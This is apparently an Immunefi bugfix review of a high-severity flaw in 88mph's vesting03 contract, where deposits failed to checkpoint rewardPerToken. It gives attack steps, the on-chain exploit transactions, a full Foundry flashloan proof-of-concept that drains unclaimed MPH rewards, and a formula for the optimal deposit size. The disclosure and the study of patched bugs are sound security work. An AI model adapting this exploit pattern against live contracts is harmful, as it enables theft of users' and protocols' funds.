88MPH Theft Of Unclaimed MPH Rewards Bugfix Review

Summary
On September 25, 2022, 0xSzeth reported a high severity bug in 88mph’s vesting03
smart contract via Immunefi. This bug allowed some malicious users to drain the vesting contract of unclaimed MPH rewards (88mph tokens).
While looking through the contract, the whitehat discovered that some users were able to steal most of the 88mph tokens generated from yield in the vesting03
contract by depositing an asset and withdrawing the vested 88mph tokens immediately. In other words, users were able to withdraw deposits before the maturity date, receiving yield that they were not entitled to.
This is because while depositing an asset, the vestRewardPerTokenPaid[vestID]
was not updated with the current rewardPerToken
.
The whitehat discovered that the address 0xe67d3b0BDfd1D853FBcE6C0898b464e332a67B18
actively exploited the contract by depositing ETH to the contract and withdrawing the vested tokens immediately:
First exploit:
- https://etherscan.io/tx/0x8c2541448077015e952077015337a4ede92e5f05bdb9daad80e3df9ef9e52621 (Deposit on Sep-23–2022 07:05:59 PM +UTC)
- https://etherscan.io/tx/0x830c08c3de094b68493c794b9390bf5561ccef1d77f2568451737b0410a5492e (Withdraw on Sep-23–2022 07:06:23 PM +UTC)
Second exploit:
- https://etherscan.io/tx/0xbf823a243dc2316ce476327dd8d37e18c1ae03607107b9fed76d594e39dace01 (Deposit on Sep-23–2022 07:07:47 PM +UTC)
- https://etherscan.io/tx/0xd762dba091c7c2ce087f3b72467912599290207a49b627a13a8d25686b7aa070 (Withdraw on Sep-23–2022 07:08:23 PM +UTC)
Thanks to the whitehat’s investigation and a quick fix from the project, further losses were prevented.
The project paid out a $21,000 bounty for 0xSzeth’s find.
Vulnerability Analysis
88mph’s functionality allows users to deposit their assets into the DInterest
contract, which mints the user an ERC721 token that contains information about the deposit amount and maturity of the deposit. It also makes an external call to the MPHMinter
contract to forward the call to the vesting03
contract, which mints another ERC721 token. This second token contains information regarding vesting status, and vesting03
further allows users to claim their reward in the form of 88mph tokens.
The vulnerability existed in the vesting03
contract in the createVestForDeposit()
function. This function is responsible for storing initial information regarding user deposit and minting the vestID
.
However, this function didn’t update the vestRewardPerTokenPaid[vestID]
with the current rewardPerToken
, which should actually be very low after an immediate deposit because not enough time has passed for the user to earn their full token reward. So, the _earned()
function in the withdraw()
function will calculate as though the user were eligible for the full rewardPerToken
from the amount that they deposited.
A flashloan is the most natural way to exploit this vulnerability.
Here are the steps to reproduce the attack:
- Flashloan WETH from Uniswap or AAVE.
- Call
deposit()
to theDInterest
contract to deposit WETH. - Call
withdraw()
to thevesting03
contract by supplying thevestID
obtained from depositing WETH. - Call
withdraw()
toDInterest
contract by supplying true as an argument, in order to withdraw the initial deposit before the maturity ends. - Swap 88mph tokens obtained from step 3 to Balancer or Uniswap.
- Pay back the initial flashloan and fee.
POC (Proof Of Concept)
This POC is written for readers to study and test in Forge.
The steps to use this POC are as follows:
- Install https://github.com/foundry-rs/foundry.
- Replace
Counter.sol
in the src folder withWithFlashloan.sol
. - Replace
Counter.t.sol
in the test folder withWithFlashloan.t.sol
. - Change the alchemy API in the
WithFlashloan.t.sol
to your own API. - Run
forge test — match-path test/WithFlashloan.t.sol -vvv
This POC will make a local fork at 15598022 which is before the first malicious transaction is executed, and it will show an attacker can steal around 3.66 ETH.
WithFlashloan.sol
:
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
interface IWETH {
function balanceOf(address _owner)external view returns(uint256 _balance);
function approve(address _spender, uint256 _amount)external returns(bool);
function transfer(address _receiver, uint256 _amount)external returns(bool);
}
interface IDInterest {
function deposit(uint256 depositAmount, uint64 maturationTimestamp)external returns(uint64 depositID, uint256 interestAmount);
function getDeposit(uint64 depositID)external view returns (Deposit memory);
function withdraw(
uint64 depositID,
uint256 virtualTokenAmount,
bool early
) external returns (uint256 withdrawnStablecoinAmount);
}
interface IVesting03 {
function multiWithdraw(uint64[] memory vestIDList) external;
function withdraw(uint64 vestID) external returns (uint256 withdrawnAmount);
function getVest(uint64 vestID) external view returns (Vest memory);
function rewardPerToken(address DInterestPool) external view returns (uint256);
}
interface IERC20 {
function balanceOf(address _owner)external view returns(uint256 _balance);
function approve(address _spender, uint256 _amount)external returns(bool);
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface IAsset{}
interface IBalancer {
enum SwapKind { GIVEN_IN, GIVEN_OUT }
struct SingleSwap {
bytes32 poolId;
SwapKind kind;
IAsset assetIn;
IAsset assetOut;
uint256 amount;
bytes userData;
}
struct FundManagement {
address sender;
bool fromInternalBalance;
address payable recipient;
bool toInternalBalance;
}
function swap(
SingleSwap memory singleSwap,
FundManagement memory funds,
uint256 limit,
uint256 deadline
)external payable returns (uint256 amountCalculated);
}
interface IUniswapV2 {
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
contract WithFlashloan {
uint64 public vestingTokenID;
uint64 public DInterestTokenID;
uint256 public PRECISION = 1e18;
uint256 public depositAmount = 414829210384738836; // 0.414 WETH
IWETH public WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 public _88MPH = IERC20(0x8888801aF4d980682e47f1A9036e589479e835C5);
IDInterest public DInterest = IDInterest(0xaE5ddE7EA5c44b38c0bCcfb985c40006ED744EA6);
IVesting03 public Vesting03 = IVesting03(0xA907C7c3D13248F08A3fb52BeB6D1C079507Eb4B);
IBalancer public Balancer = IBalancer(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IUniswapV2 public UniswapV2_USDC = IUniswapV2(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);
function run()external {
UniswapV2_USDC.swap(0, depositAmount, address(this), " ");
}
function _deposit()internal {
WETH.approve(address(DInterest), type(uint256).max);
uint256 _depositAmount = depositAmount;
uint64 maturationTimestamp = 1666551940; // 1 month
uint64 depositID;
uint256 interestAmount;
(depositID, interestAmount) = DInterest.deposit(depositAmount, maturationTimestamp);
}
function _withdraw()internal {
Vesting03.withdraw(vestingTokenID);
}
function _withdrawFunds(bool early)internal {
DInterest.withdraw(DInterestTokenID, depositAmount, early);
}
function _swapAsset()internal {
_88MPH.approve(address(Balancer), type(uint256).max);
bytes32 _88mph_poolId = 0x3e09e828c716c5e2bc5034eed7d5ec8677ffba180002000000000000000002b1;
IBalancer.SingleSwap memory _singleSwap;
_singleSwap.poolId = _88mph_poolId;
_singleSwap.kind = IBalancer.SwapKind.GIVEN_IN;
_singleSwap.assetIn = IAsset(address(_88MPH));
_singleSwap.assetOut = IAsset(address(WETH));
_singleSwap.amount = _88MPH.balanceOf(address(this));
_singleSwap.userData = "";
IBalancer.FundManagement memory _fundManagement;
_fundManagement.sender = address(this);
_fundManagement.fromInternalBalance = false;
_fundManagement.recipient = payable(address(this));
_fundManagement.toInternalBalance = false;
Balancer.swap(_singleSwap, _fundManagement, 0, block.timestamp + 10);
}
function calcFlashloanFee(uint256 _amount)public returns(uint256 fee) {
fee = ((_amount * 1000) / 997) + 1;
}
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external{
_log();
_deposit();
_log();
_withdraw();
_log();
_withdrawFunds(true); // We set it true, because we withdraw it before the maturity ends
_log();
_swapAsset();
_log();
WETH.transfer(address(UniswapV2_USDC), depositAmount + calcFlashloanFee(depositAmount)); // Return the flash loan + pay fee
_log();
}
function _log()internal {
console.log("=======================================================================");
console.log("88MPH Balance in Vesting contract = ", _88MPH.balanceOf(address(Vesting03)));
console.log("88MPH Balance in Attacker contract = ", _88MPH.balanceOf(address(this)));
console.log("WETH Balance in Attacker contract = ", WETH.balanceOf(address(this)));
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4){
if (msg.sender == address(Vesting03)){
vestingTokenID = uint64(tokenId);
}else {
DInterestTokenID = uint64(tokenId);
}
return IERC721Receiver.onERC721Received.selector;
}
}
WithFlashloan.t.sol
:
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/WithFlashloan.sol";
contract WithFlashloanTest is Test {
using stdStorage for StdStorage;
WithFlashloan public attacker;
uint256 mainnetfork;
string MAINNET_RPC_URL = 'https://eth-mainnet.g.alchemy.com/v2/<use your own Alchemy API>';
function setUp() public {
mainnetfork = vm.createFork(MAINNET_RPC_URL);
}
function testRun()public {
vm.selectFork(mainnetfork);
vm.rollFork(15598022); // Before the report submitted
attacker = new WithFlashloan();
attacker.run();
}
}
The initial deposit amount was calculated by simulating the deposit funds, using only 0.1 ETH and 1 month maturity, and then we calculated it by reversing this formula:
FullMath.mulDiv(accountBalance, rewardPerToken_ —
vestRewardPerTokenPaid[vestID],PRECISION)
into this:
function _calculateOptimalDeposit()internal returns(uint256 amountToBeDeposited){
uint256 withdrawAmount = _88MPH.balanceOf(address(Vesting03));
uint256 rewardPerToken = Vesting03.rewardPerToken(address(DInterest));
amountToBeDeposited = (withdrawAmount * PRECISION) / rewardPerToken;
}
From this calculation, we can determine the exact amount that we should deposit to drain most of the 88mph tokens in the vesting03
contract. Once we know the amount, we can continue to exploit the vesting03
contract, using the POC above.
Vulnerability Fix
88MPH fixed the vulnerability by updating the vestRewardPerTokenPaid[vestID]
with the current rewardPerToken
when a user makes an initial deposit to the vesting03
contract.
Acknowledgements
We would like to thank 0xSzeth for doing an amazing job and responsibly disclosing such an important bug. Big props also to the 88mph team who responded quickly to the report and patched it.
Thanks also to Omik of Immunefi for writing this bugfix review.
If you’d like to start bug hunting, we got you. Check out the Web3 Security Library, and start earning rewards on Immunefi — the leading bug bounty platform for web3 with the world’s biggest payouts.
And if you’re feeling good about your skillset and want to see if you will find bugs in the code, check out the bug bounty program from 88mph.